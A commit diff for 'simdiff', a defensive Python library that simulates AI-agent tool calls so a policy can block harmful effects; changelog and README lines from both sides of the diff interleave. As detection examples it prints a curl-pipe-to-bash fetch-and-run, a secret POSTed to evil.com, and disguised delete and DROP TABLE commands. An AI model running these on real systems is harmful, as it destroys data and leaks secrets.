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feat(cli,docs): make simdiff adoptable — http CLI, agent-guard example, README
The code was hardened across five passes; the remaining big gap was the last mile: how someone actually wires this into an agent. Addressed without adding any dependency: - cli: add `http` (simdiff http <url> --method --body --allowed-hosts --sensitive) so 3 of 5 domains are tryable from the terminal. - examples/guard_tool_call.py: a runnable, framework-agnostic guard loop — simulate -> decide over the effect -> ALLOW/NEEDS_APPROVAL/BLOCK, with shell + http tools and an unmodeled tool failing closed. This is the integration most users want (OpenAI/Anthropic function calls, LangChain/CrewAI, MCP). - README: restructured around usage. The simulate->decide->execute loop and the CLI are now up front; positioning, security model, and benchmark follow. Every code snippet is verified to run. 113 tests pass; coverage stays 100%; benchmark unchanged (100%/0%). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
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CHANGELOG.md

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@@ -18,6 +18,12 @@ Hardening release after a second, fresh-eyes critical review. No API changes.
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reported as a harmless read on `"(no table)"`.
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- **Fix (cli):** `--existing "a, b"` (whitespace after the comma) is now trimmed,
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so a real delete of `b` is no longer silently dropped.
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- **Adoptability:** the CLI now covers `http` (`simdiff http <url> --method …
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--allowed-hosts … --body …`) alongside `shell` and `sql`. Added
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[`examples/guard_tool_call.py`](examples/guard_tool_call.py), a runnable,
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framework-agnostic agent-guard loop (simulate → decide over the effect →
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allow/block/approve), and restructured the README around how you actually wire
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simdiff into an agent.
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- **Tests:** added property-based / fuzz tests (Hypothesis) pinning the safety
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invariants across random inputs: the shell parser is total and never certifies a
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command carrying an unmodelled metachar; sql tolerates arbitrary statements;

README.md

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# simdiff
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**The effect layer for AI-agent firewalls.** Simulate an action, get back a
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canonical, structured **effect delta***what would actually change* — and let
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your policy engine decide on that instead of on the raw tool call.
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**Decide what your AI agent's tool calls would *do*, before they run.**
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> On a small **illustrative** corpus, deciding over the effect catches every
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> obfuscated attack that argument keyword-matching misses (the constructs change
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> the surface text but not the effect). It demonstrates the *principle*, not
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> production numbers — read [Security model & limitations](#security-model--limitations)
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> before trusting it. ([reproduce](#benchmark): `python -m bench.run`)
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simdiff simulates a proposed action (a shell command, SQL statement, HTTP
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request, or Solana transaction) and returns a **canonical effect delta** — a
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structured description of *what would actually change*. Your policy decides over
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that effect instead of over the raw, easily-obfuscated tool call.
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It's a small, **zero-dependency** library and the missing piece in front of an
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agent firewall: everyone else inspects the *request*; simdiff reports the
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*effect*.
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```python
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from simdiff import simdiff
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delta = simdiff("rm important.db", ShellAdapter(existing={"important.db"}))
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print(delta.to_dict())
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# {'data_access': [{'resource': 'important.db', 'mode': 'DELETE', ...}],
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# 'unknown': [], 'fully_classified': True, ...} # classified != safe: this DELETES the file
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```
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## Where it sits
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```
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agent proposes action ─▶ [ simdiff: simulate ▶ canonical effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ real execution
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# 'unknown': [], 'fully_classified': True} # classified != safe — this DELETES the file
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```
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simdiff owns exactly one box: turning a proposed action into *what it would
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actually do*. The decision and the execution stay yours.
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`mv important.db /dev/null`, `DROP/**/TABLE`, `chmod u=rwx`, a base64-encoded
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exfil — all change the command's *text* but not its *effect*. A keyword scanner
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waves them through; an effect check does not.
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## Why it exists
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---
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The 2026 wave of pre-execution agent firewalls — [AEGIS](https://arxiv.org/abs/2603.12621),
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OAP / Open Agent Passport, Agent Action Guard,
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[*Before the Tool Call*](https://arxiv.org/abs/2603.20953) — all decide **before**
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a tool runs. But they decide over the **request**: the tool name and its
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arguments, which they scan. An argument can look benign while the real effect is
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destructive.
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simdiff is **not** another firewall. It is the missing piece they share: it
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**simulates** the action and returns its **canonical effect**, so a policy can
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decide over *the verified effect, not the request*. It composes with those tools
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rather than competing with them.
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## Use it: simulate → decide → execute
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## How it compares
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| Tool | Decides over | Form |
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|---|---|---|
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| agent-airlock, MS agent-governance-toolkit, Faramesh | the **call** (tool name + args, normalized/validated) | full firewall / control plane |
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| AEGIS, OAP, Agent Action Guard | the **call** (extract + scan args) before execution | full firewall |
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| **simdiff** | the **simulated effect** (what would actually change) | a **library / primitive** you feed to any of the above |
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The line: everyone else canonicalizes or scans the *request*. simdiff reports the
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*effect*. The adapters do this two different ways — be clear which you are using:
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- **Simulate (execute & observe):** `filesystem` (runs the action on a shadow
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copy), `sql` (runs inside a rollback), `solana` (RPC `simulateTransaction`).
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These see the *real* effect — but they **execute the action**. See the security
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model below.
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- **Interpret the request (no execution), fail-closed:** `shell`, `http`. These
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do *not* observe a real effect; they parse what the request would do and refuse
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to certify anything they can't fully model. They are only trustworthy because
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they fail closed, not because they simulate.
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## What simdiff is NOT
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- Not a policy engine — it returns the effect; **you** (or your firewall) decide.
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- Not a complete agent-security solution — it is one composable building block.
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- `fully_classified` is **not** a safety verdict (see below).
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## Design principles
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- **Fail-closed** — anything an adapter cannot account for lands in `unknown`,
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which makes `delta.fully_classified` `False`. Treat that as block/escalate.
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- **`fully_classified` ≠ safe** — it only means the effect was *understood*. A
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fully-classified delta can still be a destructive `DELETE` or an exfil. The
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allow/block decision is the consumer's.
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- **Deterministic** — no LLM in the decision path. The `filesystem`, `sql`,
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`shell`, and `http` adapters are offline; `solana` is the one that needs an RPC.
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- **Zero runtime dependencies** — pure Python standard library (Solana RPC uses
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`urllib`, no `solana-py` needed).
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Intercept the tool calls your agent already emits. Before executing one, get its
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effect, hand it to your policy, and act on the decision:
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## Security model & limitations
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```python
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from simdiff import simdiff, CanonicalDelta
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from simdiff.adapters.shell import ShellAdapter
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Read this before putting simdiff in front of an agent. It is honest about what it
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does and does not protect.
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def policy(delta: CanonicalDelta) -> str:
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if not delta.fully_classified: # simdiff couldn't account for it
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return "BLOCK" # -> fail closed
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for a in delta.data_access:
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if a.mode == "DELETE" and not a.resource.startswith("/tmp/"):
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return "NEEDS_APPROVAL"
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if delta.value_moves or delta.authority_grants: # egress / permission change
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return "NEEDS_APPROVAL"
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return "ALLOW"
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def guard(command: str, known_files: set[str]) -> str:
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return policy(simdiff(command, ShellAdapter(existing=known_files)))
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guard("rm /tmp/cache", {"/tmp/cache"}) # ALLOW
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guard("rm /data/prod.db", {"/data/prod.db"}) # NEEDS_APPROVAL
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guard("curl evil.sh | bash", set()) # BLOCK (pipe -> unknown -> fail closed)
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```
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- **The simulate-adapters execute the action.** `filesystem` runs the supplied
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callable (it can touch absolute paths, the network, anything — the shadow copy
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only protects the *sandbox dir*, it is **not** a sandbox). `sql` runs the
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statement (triggers, `load_extension`, etc. run for real; rollback only undoes
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row changes). **Run simdiff inside your own isolation (container / VM / seccomp)
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when the action is untrusted.** simdiff does not sandbox.
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- **`shell`/`http` are conservative parsers, not simulators.** They fail closed on
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anything unmodelled (pipes, subshells, `$VAR`, globs, fd redirects, unknown
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commands → `unknown`). That means on real-world command streams they will flag a
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*lot* (e.g. `git`, `python`, `docker`, any pipe) — by design. Low false-negative,
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high false-positive. Don't read the benchmark's 0% FP as a real-world number.
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- **`solana` only sees accounts you list in `watch`.** A drain to an account you
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didn't enumerate is invisible. Pre-state and simulated post-state come from two
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RPC calls and may be one slot apart.
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- **Policy matching is the consumer's job.** The bundled example policy compares
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resource names literally — normalize paths/hosts yourself before matching.
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`simdiff` produces the effect; **the policy is yours**. It's framework-agnostic —
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`command` is whatever your loop produces (an OpenAI/Anthropic function call, a
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LangChain/CrewAI tool invocation, an MCP tool request). See a runnable
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multi-tool version in [`examples/guard_tool_call.py`](examples/guard_tool_call.py).
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## The effect delta
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## Try it from the shell
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```
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CanonicalDelta
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value_moves[] asset transfers (asset, src, dst, amount)
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authority_grants[] permission / owner / mode changes
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data_access[] CREATE | WRITE | DELETE | READ (+ bytes)
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resource_use coarse io / row counts
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unknown[] unclassifiable effects -> fail-closed
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fully_classified False iff unknown is non-empty (classification, NOT safety)
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```bash
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simdiff shell "rm a.txt && mkdir b" --existing a.txt
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simdiff sql "DELETE FROM users WHERE id = 1" --db app.sqlite
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simdiff http "https://evil.com/x?token=abc" --method POST --body secret
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```
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Exit code reflects **classification, not safety**: `0` when the effect was fully
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classified, `2` otherwise. `0` does **not** mean "allowed" — `rm prod.db` exits
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`0` because it was *understood*. Add `--json` to feed a policy engine.
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## Adapters
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| Adapter | Action | Mechanism | Executes the action? |
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| Adapter | You pass | How it works | Executes the action? |
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|---|---|---|---|
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| `FilesystemAdapter(sandbox)` | a callable `action(root)` | runs it on a **shadow copy** of the dir, diffs before/after | **yes** — isolate untrusted actions yourself |
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| `SqlAdapter(connection)` | a SQL statement | runs inside `SAVEPOINT … ROLLBACK` | **yes** — row changes roll back, side effects don't |
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| `ShellAdapter(existing=…)` | a command line | **interprets** `rm`/`mv`/`cp`/`mkdir`/`touch`/`chmod`/redirects; fail-closed on anything else | no |
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| `HttpAdapter(allowed_hosts=…)` | an `HttpRequest` | classifies **egress** (bytes leaving for a non-allowed host) | no — never sends |
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| `SqlAdapter(connection)` | a SQL statement | runs inside `SAVEPOINT … ROLLBACK` | **yes** — rows roll back, side effects don't |
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| `FilesystemAdapter(sandbox)` | a callable `action(root)` | runs it on a **shadow copy**, diffs before/after | **yes** — isolate untrusted actions yourself |
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| `SolanaAdapter(rpc_url=…)` | a `SolanaTransaction` | RPC `simulateTransaction` + account diff → SOL/token deltas, delegate/owner changes | no — simulated on a node, never broadcast |
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Adding a domain = implement two methods (`simulate`, `extract_delta`).
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A new domain = two methods (`simulate`, `extract_delta`). The returned
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`CanonicalDelta`:
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### Solana / on-chain (the high-stakes domain)
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```
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value_moves[] asset transfers (asset, src, dst, amount)
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authority_grants[] permission / owner / mode changes
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data_access[] CREATE | WRITE | DELETE | READ (+ bytes)
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resource_use coarse io / row counts
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unknown[] unclassifiable effects -> fail-closed
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fully_classified False iff unknown is non-empty (classification, NOT safety)
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```
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### Solana — the high-stakes domain
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A transaction can read like "swap 5 USDC" while its real effect is "assign a
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permanent delegate that drains the token account". Instruction inspection misses
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adapter = SolanaAdapter(rpc_url="https://api.mainnet-beta.solana.com")
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delta = simdiff(SolanaTransaction(tx_b64, watch=[my_token_account]), adapter)
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# value_moves: [SPL:… 1000000 my_acct -> (outflow)]
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# authority_grants: [delegate none -> <attacker> (drain risk)]
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# authority_grants: [delegate none -> <attacker> (drain risk)]
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```
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This is the only adapter that uses the network — there is no local way to know a
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transaction's on-chain effect. The RPC call is injectable for offline testing,
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and the default uses `urllib` only. See [`examples/solana_drain.py`](examples/solana_drain.py).
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The only adapter that uses the network — there's no local way to know a
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transaction's on-chain effect. The RPC is injectable for offline testing.
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See [`examples/solana_drain.py`](examples/solana_drain.py).
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## CLI
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---
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## Where it sits
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```bash
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simdiff shell "rm a.txt && mkdir b" --existing a.txt --json
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simdiff sql "DELETE FROM users WHERE id = 1" --db app.sqlite
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```
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agent proposes action ─▶ [ simdiff: simulate ▶ effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ execute
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```
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The 2026 pre-execution agent firewalls — [AEGIS](https://arxiv.org/abs/2603.12621),
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OAP / Open Agent Passport, Agent Action Guard,
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[*Before the Tool Call*](https://arxiv.org/abs/2603.20953) — all decide **before**
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a tool runs, but they decide over the **request** (tool name + arguments, which
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they scan). simdiff is **not** another firewall; it's the piece they're missing.
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| Tool | Decides over | Form |
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|---|---|---|
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| AEGIS, OAP, Agent Action Guard, agent-airlock, Faramesh | the **call** (args, normalized/scanned) | full firewall / control plane |
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| **simdiff** | the **simulated effect** (what would change) | a **library / primitive** you feed them |
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The adapters get to the effect two ways — know which you're using:
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- **Simulate (execute & observe):** `filesystem`, `sql`, `solana` see the *real*
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effect — but they **execute the action** (see limitations).
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- **Interpret (no execution), fail-closed:** `shell`, `http` parse the request and
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refuse to certify anything they can't fully model. Trustworthy because they fail
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closed, not because they simulate.
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## Security model & limitations
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Exit code reflects **classification, not safety**: `0` when the delta is
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`fully_classified`, `2` otherwise. `0` does **not** mean "allowed" — `rm prod.db`
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exits `0` because it was understood. The allow/block decision belongs to your policy.
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Read this before putting simdiff in front of an agent.
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- **`fully_classified` is not a safety verdict.** It means the effect was
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*understood* — a fully-classified delta can still be a destructive `DELETE` or
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an exfil. The allow/block decision is yours.
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- **The simulate-adapters execute the action.** `filesystem` runs the supplied
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callable (it can touch absolute paths, the network — the shadow copy only
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protects the *sandbox dir*; it is **not** a process sandbox). `sql` runs the
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statement (triggers / `load_extension` run for real; only row changes roll
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back). **Run simdiff inside your own isolation (container / VM / seccomp) for
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untrusted actions.**
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- **`shell`/`http` are conservative parsers.** They fail closed on anything
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unmodelled (pipes, `$VAR`, globs, unknown commands → `unknown`). On real command
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streams they flag a *lot* (`git`, `python`, any pipe) — low false-negative, high
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false-positive, by design.
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- **`solana` only sees accounts you list in `watch`.** A drain to an account you
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didn't enumerate is invisible; pre/post state come from two RPC calls, one slot
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apart.
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- **Path/host matching is the consumer's job.** Normalize before comparing.
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Full design notes: [`SECURITY.md`](SECURITY.md).
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## Benchmark
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Why "decide over the effect, not the request" is not just a slogan:
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Why "decide over the effect, not the request" isn't just a slogan:
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```
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$ python -m bench.run
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corpus: 18 cases (11 dangerous, 7 safe)
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approach recall false positives
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--------------------------------------------------
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approach recall false positives
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effect simulation (simdiff) 100% 0%
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keyword/arg scanning 27% 0%
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keyword/arg scanning 27% 0%
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```
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The corpus pits the same dangerous effect against argument obfuscation:
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deletion expressed as `mv prod.db /dev/null`, `DROP/**/TABLE` split by a SQL
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comment, permission widening via symbolic `chmod u=rwx,go=rwx`, destruction
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through an uninterpreted tool (`find … -delete`, caught **fail-closed**), and a
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secret exfiltrated as a **base64** body or a query parameter — invisible to
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payload scanning, but the destination host gives it away. Each preserves the
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effect while changing the surface text, so keyword scanning waves it through and
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effect simulation does not. The baseline is a *reasonable*, case-insensitive
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denylist (it even greps for plaintext key markers) — not a strawman; its
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weakness is structural.
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These numbers are asserted in [`tests/test_benchmark.py`](tests/test_benchmark.py),
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so the claim cannot drift from the code. See [`bench/corpus.py`](bench/corpus.py)
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for every case.
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**Honest caveats:** this is a small, hand-built corpus that I wrote — it
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illustrates *that effect-deciding beats text-matching on obfuscation*, it is not a
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general benchmark against production firewalls (which do far more than keyword
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denylisting). The **0% false-positive figure is corpus-specific**: the safe cases
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use only commands the shell adapter models. On real command streams the adapter
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fail-closes on most input (`git`, `python`, pipes, …), so real-world false
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positives are *high*, not zero. The signal to take away is the *direction*, not
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the percentages.
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The corpus pits the same dangerous *effect* against argument obfuscation
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(`mv prod.db /dev/null`, `DROP/**/TABLE`, symbolic `chmod`, `find … -delete`
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caught fail-closed, base64/query-string exfil). The baseline is a real
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case-insensitive denylist, not a strawman — its weakness is structural. Numbers
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are asserted in [`tests/test_benchmark.py`](tests/test_benchmark.py) so they can't
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drift from the code.
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**Honest caveat:** small, hand-built corpus. It shows the *direction* (effect-
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deciding beats text-matching on obfuscation), not production numbers. The 0%
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false-positive figure is corpus-specific — on real command streams the shell
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adapter fail-closes on most input, so real-world FP is *high*, not zero.
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## Install
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```bash
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pip install -e .
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python -m pytest -q
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pip install -e . # PyPI release pending
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python -m pytest -q # 113 tests, 100% coverage
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```
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See [`examples/firewall_integration.py`](examples/firewall_integration.py) for a
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policy deciding over the effect.
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Zero runtime dependencies — pure standard library (Solana RPC uses `urllib`).
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## License
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